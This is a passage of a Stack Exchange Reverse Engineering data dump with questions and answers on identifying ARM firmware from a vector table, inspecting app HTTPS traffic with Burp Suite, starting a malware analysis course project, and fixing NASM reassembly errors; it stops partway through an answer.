  <row Id="20981" PostTypeId="1" CreationDate="2019-03-28T10:48:37.380" Score="2" ViewCount="553" Body="&lt;p&gt;I have an android app (com.daye.dayeapp) to control my robot lawn mower. The App contains new firmware in the assets folder, in the form of a 122KB .bin file.&#xA;How do I determine the architecture of that ?  binwalk is no help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My decompile/hacking experience is old. Z80 and 68k series CPU. Old pre-intel MacOS. Removed lots of copy protection back in the old days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the output of strings, it contains lots of unencrypted data. Some places there are clearly '\0' terminated strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BinWalk has some entropy indicating some sections. But it is likely false positives. At least the last one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way than to pop it open and try to identify the architecture from the chips ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does have sensors, LCD display, buttons, bluetooth module. So it does have some I/O ports. I might try to read out raw firmware if I can find some JTAG header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Falling entropy edge (0.711720)&#xA;120832        0x1D800         Falling entropy edge (0.843220)&#xA;123904        0x1E400         Falling entropy edge (0.842013)&#xA;&#xA;0x0001E3B0  20 20 16 4C 06 4D 6F 77 65 72 31 23 0D 16 00 1B |...L.Mower1#....|&#xA;0x0001E3C0  12 33 01 A1 21 69 66 A0 0D 32 30 31 37 30 38 32 |.3..!if..2017082|&#xA;0x0001E3D0  33 32 33 34 35 74 A0 04 31 30 31 01 42 32 07 42 |32345t..101.B2.B|&#xA;0x0001E3E0  33 07 42 34 07 42 35 07 32 36 2A 0C 1D 6C 23 2A |3.B4.B5.26*..l#*|&#xA;0x0001E3F0  38 3F 54 5B 69 4D 6F 6E 54 75 65 57 65 64 54 68 |8?T[iMonTueWedTh|&#xA;0x0001E400  75 46 72 69 53 61 74 53 75 6E 6C 14 92 11 E3 0D |uFriSatSunl.....|&#xA;0x0001E410  2F 41 03 02 3D 2A 01 0D 11 6C 16 0D B4 21 24 1C |/A..=*...l...!$.|&#xA;0x0001E420  05 0F 54 24 54 21 24 1E 2E C6 23 1E 2E F6 17 1C |..T$T!$...#.....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;\0 terminated strings (with CRLF line endings !?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000A270  A0 24 00 20 A4 24 00 20 A8 24 00 20 43 4F 4C 4C |.$...$...$..COLL|&#xA;0x0000A280  49 53 49 4F 4E 20 72 65 74 75 72 6E 20 0D 0A 0D |ISION.return....|&#xA;0x0000A290  0A 20 00 00 54 49 4C 54 20 72 65 74 75 72 6E 20 |....TILT.return.|&#xA;0x0000A2A0  0D 0A 0D 0A 20 00 00 00 AC 00 00 20 AD 00 00 20 |................|&#xA;0x0000A2B0  AC 24 00 20 4F 55 54 20 42 4F 55 4E 44 41 52 59 |.$..OUT.BOUNDARY|&#xA;0x0000A2C0  20 72 65 74 75 72 6E 20 0D 0A 0D 0A 20 00 00 00 |.return.........|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And beginning of file. Looks strange ? Some jump table ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000  B0 73 00 20 55 11 01 08 39 11 01 08 3B 11 01 08 |.s..U...9...;...|&#xA;0x00000010  3F 11 01 08 43 11 01 08 47 11 01 08 00 00 00 00 |?...C...G.......|&#xA;0x00000020  00 00 00 00 00 00 00 00 00 00 00 00 4B 11 01 08 |............K...|&#xA;0x00000030  4D 11 01 08 00 00 00 00 4F 11 01 08 51 11 01 08 |M.......O...Q...|&#xA;0x00000040  6F 11 01 08 6F 11 01 08 6F 11 01 08 E9 53 01 08 |o...o...o....S..|&#xA;0x00000050  6F 11 01 08 6F 11 01 08 1F 4F 01 08 6F 11 01 08 |o...o....O..o...|&#xA;0x00000060  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x00000070  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x00000080  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x00000090  6F 11 01 08 6F 11 01 08 6F 11 01 08 91 43 01 08 |o...o...o....C..|&#xA;0x000000A0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x000000B0  FD 0B 02 08 01 4B 01 08 6F 11 01 08 6F 11 01 08 |.....K..o...o...|&#xA;0x000000C0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x000000D0  6F 11 01 08 3F 68 02 08 6F 11 01 08 6F 11 01 08 |o...?h..o...o...|&#xA;0x000000E0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x000000F0  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x00000100  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x00000110  A7 59 01 08 6D 5B 01 08 73 08 02 08 6F 11 01 08 |.Y..m[..s...o...|&#xA;0x00000120  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x00000130  00 F0 02 F8 00 F0 66 F8 0A A0 90 E8 00 0C 82 44 |......f........D|&#xA;0x00000140  83 44 AA F1 01 07 DA 45 01 D1 00 F0 5B F8 AF F2 |.D.....E....[...|&#xA;0x00000150  09 0E BA E8 0F 00 13 F0 01 0F 18 BF FB 1A 43 F0 |..............C.|&#xA;0x00000160  01 03 18 47 4C D6 01 00 6C D6 01 00 10 F8 01 3B |...GL...l......;|&#xA;0x00000170  0A 44 13 F0 03 04 08 BF 10 F8 01 4B 1D 11 08 BF |.D.........K....|&#xA;0x00000180  10 F8 01 5B 64 1E 05 D0 10 F8 01 6B 64 1E 01 F8 |...[d......kd...|&#xA;0x00000190  01 6B F9 D1 00 2D 15 D0 10 F8 01 4B 03 F0 0C 03 |.k...-.....K....|&#xA;0x000001A0  0C 2B A1 EB 04 04 0A BF 10 F8 01 3B A4 EB 83 14 |.+.........;....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27956" LastActivityDate="2019-03-29T13:49:07.757" Title="How to determine platform from .bin?" Tags="|disassembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20983" PostTypeId="2" ParentId="20705" CreationDate="2019-03-28T13:47:37.237" Score="2" Body="&lt;p&gt;I am using burpsuite for HTTPS inspection. Need to install its root cert on the phone. Most apps does not verify cert, or uses phone cert store. Windows users often use Fiddler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These tools generate a new CA cert, that needs to be moved to the phones cert store, and be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the app downloads cert first time, and uses SSL pinninng, it is best to ensure your phone is set up to use the proxy before launching the app for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All phone apps I have tried do use OS calls, so will use the system proxy. Thus MitM with data modification is trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we are talking client side certs, try running unzip on the apk and see if there is a cert file in the package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse engineering HTTPS is often trivial, but more and more do either HTTPS pinning, uses JWT for signon, or does other things to ensure that the request is not modified. In that case you need to really do low level reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="27956" LastActivityDate="2019-03-28T13:47:37.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20984" PostTypeId="1" CreationDate="2019-03-28T19:46:59.193" Score="1" ViewCount="830" Body="&lt;p&gt;I'm taking a reverse engineering course and the class has just been given a big project where we have to analyze a packed malware binary. I am using a Windows 10 VM. I am a little confused on where to begin. The professor has mentioned that the best place to start is by taking a snapshot of your initial system setup, running the malware, and then &quot;figuring out what has changed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My strategy is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take a memory backup of my initial VM state. &lt;/li&gt;&#xA;&lt;li&gt;Set up my VM so that a network connection is available, but doesn't actually connect to the internet.&lt;/li&gt;&#xA;&lt;li&gt;Run the malware (in a debugger? outside of a debugger?).&lt;/li&gt;&#xA;&lt;li&gt;???&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is where I get a little iffy. I am not sure what &quot;checking for changes on the system&quot; entails. Does this mean I need to take a memory dump of the OS state after the malware has run? What should I be looking for within the memory dump? Is there some tool that identifies meaningful changes between my starting state and the state after the malware runs? Do I need to audit the registry keys to see what has been changed? If I know the malware uses the network, should I be running Wireshark? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I am not sure what the most efficient approach is. It is a pretty powerful piece of malware with a lot of functionality and I want to make sure I collect all necessary information upfront so I don't waste time later in the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="27554" LastActivityDate="2019-03-31T11:27:40.983" Title="Most efficient way to begin analyzing malware binary" Tags="|windows|malware|dynamic-analysis|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20985" PostTypeId="2" ParentId="19827" CreationDate="2019-03-28T20:02:14.300" Score="4" Body="&lt;p&gt;i'm the developer of r2vmi, and found your topic by googling my own project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been working on an improved version by reimplementing a GDB stub:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Wenzel/pyvmidbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Wenzel/pyvmidbg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The README contains a demo if you want a quick look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to debug a Windows XP VMs, both kernel and userland, given you have the right symbols, with radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presented the project at Insomni'Hack conference last week, if you want to take a look at the slides:&#xA;&lt;a href=&quot;https://drive.google.com/file/d/1ZMUszfwWDOljdDfPOJgkEfSabNy0UAJR/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1ZMUszfwWDOljdDfPOJgkEfSabNy0UAJR/view&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps !&lt;/p&gt;&#xA;" OwnerUserId="27612" LastActivityDate="2019-03-28T20:02:14.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20986" PostTypeId="2" ParentId="20981" CreationDate="2019-03-28T20:25:03.783" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;And beginning of file. Looks strange ? Some jump table ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000  B0 73 00 20 55 11 01 08 39 11 01 08 3B 11 01 08 |.s..U...9...;...|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's an ARM vector table.  The first word is the initial stack pointer value near the top of RAM, the rest are vectors.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;B0 73 00 20&lt;/code&gt; this is 0x200073B0 likely indicating a part with 32K RAM starting at 0x20000000  &lt;strong&gt;As that is more RAM than a lot of the cheaper parts have, it helps narrow your search&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;55 11 01 08&lt;/code&gt; this is 0x08011155 and the &lt;strong&gt;Reset Vector&lt;/strong&gt; or initial entry point of the code from which you can tell two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the part has more than 64K of flash&lt;/li&gt;&#xA;&lt;li&gt;the 1's bit set in the address means it is running in Thumb mode, which is all many current MCU's like Cortex-M0, M3, M4 etc offer.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Looking further we find&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000000B0  FD 0B 02 08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there's more than 128K of flash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000120  6F 11 01 08 6F 11 01 08 6F 11 01 08 6F 11 01 08 |o...o...o...o...|&#xA;0x00000130  00 F0 02 F8 00 F0 66 F8 0A A0 90 E8 00 0C 82 44 |......f........D|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your last vector is at 0x12c, so the size of the vector table may constrain possibilities&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good guess would be an STM32 of some sort, but there are many other silicon vendors which license the ARM Cortex cores and while 0x800000 rules out some makes, there are still many possibilities with which it is consistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can note is the peculiar pattern of 0's in the vectors.  In many vector table sources, these would correspond to reserved vectors, and you could try to match that pattern. To take a handy example from startup_stm32l073xx.s&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__Vectors       DCD     __initial_sp              ; Top of Stack&#xA;                DCD     Reset_Handler             ; Reset Handler&#xA;                DCD     NMI_Handler               ; NMI Handler&#xA;                DCD     HardFault_Handler         ; Hard Fault Handler&#xA;                DCD     0                         ; Reserved&#xA;                DCD     0                         ; Reserved&#xA;                DCD     0                         ; Reserved&#xA;                DCD     0                         ; Reserved&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your next step would probably be to disassemble, for example if you install a gcc-based arm cross development toolchain you could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm-none-eabi-objdump -d -marm -Mforce-thumb --adjust-vma=0x8000000 -b binary YOURFILE.BIN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, it is not entirely certain that the image you have itself starts at 0x8000000.  It's possible instead that it starts at a higher address following a bootloader responsible for copying it into flash.  Or it could be an image linked for the &lt;em&gt;second&lt;/em&gt; bank of a dual bank part, that like the STM32L1xx does not offer bank address swapping (vs the STM32L0xx where the dual bank models do).  You may need to do some experimenting with base addresses (as passed to the &lt;code&gt;--adjust-vma&lt;/code&gt;) until you find sensible code at the targets of vectors. Particularly the reset one, where you'd expect to fairly early find things like a loop to copy initialized data to RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could look for aligned 32-bit constants that are addresses mapping to typical peripheral (GPIO, I2C or SPI, etc) registers and try to further narrow down from there.  Often these constants will be found at the tail of the functions that initialize them to initialize the corresponding peripherals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find encoding of FPU instructions, it would have to be at least a Cortex-M4, but just because the processor has an FPU doesn't mean code would necessarily be built to use it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any other way than to pop it open and try to identify the architecture from the chips ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is often fairly effective, but another that works is to see if there's an FCC sticker the on product, look that up, and see what you can learn from the internal photos portion of the listing report.&lt;/p&gt;&#xA;" OwnerUserId="2054" LastEditorUserId="2054" LastEditDate="2019-03-29T02:37:51.427" LastActivityDate="2019-03-29T02:37:51.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20987" PostTypeId="1" CreationDate="2019-03-28T20:46:30.923" Score="4" ViewCount="264" Body="&lt;p&gt;I am trying to reverse engineer an embedded firmware in IDA. It mirrors memory address 0x80000000-0x81FFFFF to 0xA0000000-0xA1FFFFFF.&#xA;How do I setup IDA to recognise memory mirroring.&lt;/p&gt;&#xA;" OwnerUserId="27965" LastActivityDate="2021-04-19T11:53:35.653" Title="IDA memory mirroring" Tags="|ida|memory|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20988" PostTypeId="1" CreationDate="2019-03-28T20:50:32.247" Score="0" ViewCount="73" Body="&lt;p&gt;I am working on reversing a closed source project that uses a well known open source framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking that theoretically, by diffing the program and the framework, I should at least get a few matches that could aid me in cleaning up and understanding more of what I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that does this for me?&lt;/p&gt;&#xA;" OwnerUserId="26890" LastActivityDate="2019-03-29T14:05:14.250" Title="Is it possible to import an open source framework into a closed source project in ida?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20991" PostTypeId="2" ParentId="20984" CreationDate="2019-03-29T09:04:46.010" Score="4" Body="&lt;p&gt;You may consider reading &lt;a href=&quot;https://practicalmalwareanalysis.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Malware Analysis Book&lt;/a&gt; which describes in depth malware analysis process and techniques and contains in depth answers to your questions.&#xA;Chapter 3 briefly describes tools you may use to monitor changes made by malware.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-03-29T09:04:46.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20992" PostTypeId="1" AcceptedAnswerId="20993" CreationDate="2019-03-29T10:08:35.867" Score="0" ViewCount="1018" Body="&lt;p&gt;I am trying to reassemble code reversed from an executable using radare2. I have managed to extract the asm and am using nasm for reassembling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, the code also contains commands like &#xA;&lt;code&gt;byte ptr [esi],pushal, fucomi st(3) and sqrtps xmm5, xmmword [edx - 1]&lt;/code&gt; which I'm unfamiliar with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried assembling with the &lt;code&gt;nasm -felf -o&lt;/code&gt; command. However, I'm getting the following errors.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test.asm:68: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:69: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:85: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:133: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:167: error: impossible combination of address sizes&#xA;test.asm:167: error: invalid effective address&#xA;test.asm:298: error: symbol `pushal' redefined&#xA;test.asm:423: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:637: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:802: error: symbol `pushal' redefined&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://stackoverflow.com/a/27600186&quot;&gt;this stackoverflow post&lt;/a&gt;, the keyword ptr does not exist in nasm and it suggested that the word be removed. Doing that resolved a few errors. Now I have the following errors:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test.asm:68: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:69: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:85: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:133: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:298: error: symbol `pushal' redefined&#xA;test.asm:423: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:637: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:802: error: symbol `pushal' redefined&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I have no idea what pushal and sqrtps mean, I'm reluctant to remove them from the code. Could someone please explain what these commands mean? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally suggestions on how I can get this as a compilable error-free code are also welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Following user blabb s suggestion, i replaced pushal with pushad and now I have only 2 errors&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test.asm:80: error: comma, colon, decorator or end of line expected after operand&#xA;test.asm:127: error: comma, colon, decorator or end of line expected after operand&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2 lines in question are: &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fucomi st(3)&#xA;and&#xA;sqrtps xmm5, xmmword [edx - 1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any suggestions as to how to handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:&#xA;including lines 76-83&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pop esi&#xA;int3&#xA;sti&#xA;xor ebx,ebx&#xA;fucomi st(0),st(3)&#xA;jmp 0x400299&#xA;pop es&#xA;xor ebx, ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and lines 122-132&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add cl, bh&#xA;iretd&#xA;mov dr0, ebx&#xA;and eax, ebx&#xA;ret&#xA;push 0xf&#xA;sqrtps xmm5, xmmword [edx - 1]&#xA;push ecx&#xA;push 0xffffffffffffffff&#xA;call dword [ecx + 0x51]&#xA;push ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT3:&#xA;Based on user blabb s suggestion and also by referring the &lt;a href=&quot;https://www.nasm.us/xdoc/2.11/html/nasmdoc2.html#section-2.2.6&quot; rel=&quot;nofollow noreferrer&quot;&gt;NASM docs&lt;/a&gt;, I found that NASM does not accept st(0),st(3) and instead it accepts st0,st3. Now only one error left.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test.asm:127: error: comma, colon, decorator or end of line expected after operand&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still did not understand how to handle this.&lt;/p&gt;&#xA;" OwnerUserId="27972" LastEditorUserId="27972" LastEditDate="2019-03-30T03:01:20.223" LastActivityDate="2019-03-30T03:01:20.223" Title="Reassembling reversed ASM" Tags="|radare2|reassembly|nasm|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20993" PostTypeId="2" ParentId="20992" CreationDate="2019-03-29T10:27:16.093" Score="2" Body="&lt;p&gt;SYNONYMS for Instruction ( PUSH ALL DOUBLE WORDS  / longs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pushad   intel (masm , yasm , nasm , tasm)&lt;br&gt;&#xA;pushal   at&amp;amp;t with ( gas )   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;sqrtps = square root of single precision floating point  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you can use intrinsic use &lt;code&gt;SQRTPS __m128 _mm_sqrt_ps (__m128 a);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it takes the 128bit value in src calculates the square rot of it and places the square root in destination xmmword (128 bit register)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can always find equivalent syntax for all of these instructions and modify the inconsisitent syntax to suit the tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a cpp src code that illustrates sqrtps usage &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//visual studio declares __m128 as union&#xA;// for gcc use _mm_set_xxx intrinsc&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;    __m128 res;&#xA;    res.m128_f32[0]=256.0;&#xA;    res.m128_f32[1]=64.0;&#xA;    res.m128_f32[2]=16.0;&#xA;    res.m128_f32[3]=4.0;&#xA;    res = _mm_sqrt_ps (res);&#xA;    printf(&quot;%f %f %f %f\n&quot;,&#xA;    res.m128_f32[0],&#xA;    res.m128_f32[1],&#xA;    res.m128_f32[2],&#xA;    res.m128_f32[3]&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked and executed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /Zi /W4 /Ox /analyze /nologo sqrtps.cpp /link /nologo  /release&#xA;sqrtps.cpp&#xA;&#xA;:\&amp;gt;sqrtps.exe&#xA;16.000000 8.000000 4.000000 2.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;uf sqrtps!main;q&quot; sqrtps.exe | grep -i sqrtps.*xmm&#xA;01081000 0f510db0e10b01  sqrtps  xmm1,xmmword ptr [sqrtps!_xmm (010be1b0)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;relooking at your query it appears you have some problems in the listing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fucomi iirc takes two operands your query shows only one st(3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;br&gt;&#xA;yes it takes two operands the first operand is st0 and is default &#xA;so your listing probably omitted it (dont take my word check confirm and then change to &lt;strong&gt;fucomi st,st(3)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt; and iirc nasm doesnt understand &lt;strong&gt;xmmword&lt;/strong&gt; i think it needs &lt;strong&gt;DQWORD&lt;/strong&gt; &lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wjwDt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjwDt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;and i don't think unaligned access like [edi -1] is possible with sse operations &lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no it was not either unaligned access nor dqword &#xA;nasm simply doesnt like any decorator or qualifier &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this assembles links and behaves properly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls&#xA;test.asm&#xA;&#xA;:\&amp;gt;cat test.asm&#xA;section .text&#xA;global main&#xA;main:&#xA;sqrtps xmm0,[edi-1]&#xA;ret&#xA;:\&amp;gt;nasm -f win32 -o test.obj test.asm&#xA;&#xA;:\&amp;gt;ls&#xA;test.asm  test.obj&#xA;&#xA;:\&amp;gt;link test.obj /debug /entry:main /release /nologo&#xA;&#xA;:\&amp;gt;ls&#xA;test.asm  test.exe  test.obj  test.pdb&#xA;&#xA;:\&amp;gt;..\ndisasm.exe -p intel -b 32 -e 0x200 -k 6,5000 test.exe&#xA;00000000  0F5147FF          sqrtps xmm0,oword [edi-0x1]&#xA;00000004  C3                ret&#xA;00000005  00                db 0x00&#xA;00000006  skipping 0x1388 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-03-29T18:21:27.530" LastActivityDate="2019-03-29T18:21:27.530" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="20994" PostTypeId="2" ParentId="20981" CreationDate="2019-03-29T13:49:07.757" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Detecting CPU Endianness.&#xA;At the file offset 0x000098C0 you can find next:&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;000098B0:  74 00 00 20-4D 4F 54 5F-43 54 52 4C-28 2D 31 33  t   MOT_CTRL(-13&lt;br&gt;&#xA;  000098C0:  35 30 2C 31-33 35 30 29-0A 00 00 00-BA FA FF FF  50,1350)◙   ║·  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;BA FA FF FF is -1350 for little endian 32-bit, so assuming we have LE CPU  &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Detecting CPU using &lt;a href=&quot;https://github.com/airbus-seclab/cpu_rec&quot; rel=&quot;nofollow noreferrer&quot;&gt;cpu_rec&lt;/a&gt; utility.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;./cpu_rec.py  AutoMower.bin&lt;br&gt;&#xA;  AutoMower.bin                                                                   full(0x1e708)  ARMhf                              chunk(0x6400;25)    ARMhf &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so assuming we have Little Endian ARM with hardware floating-point support.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Detecting Entry Point.&lt;br&gt;&#xA;At the file offset 0x000098C0 you can find next:&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;00006DB0:  54 68 61 6E-6B 20 79 6F-75 3B 00 00-3E 3C 00 20  Thank you;  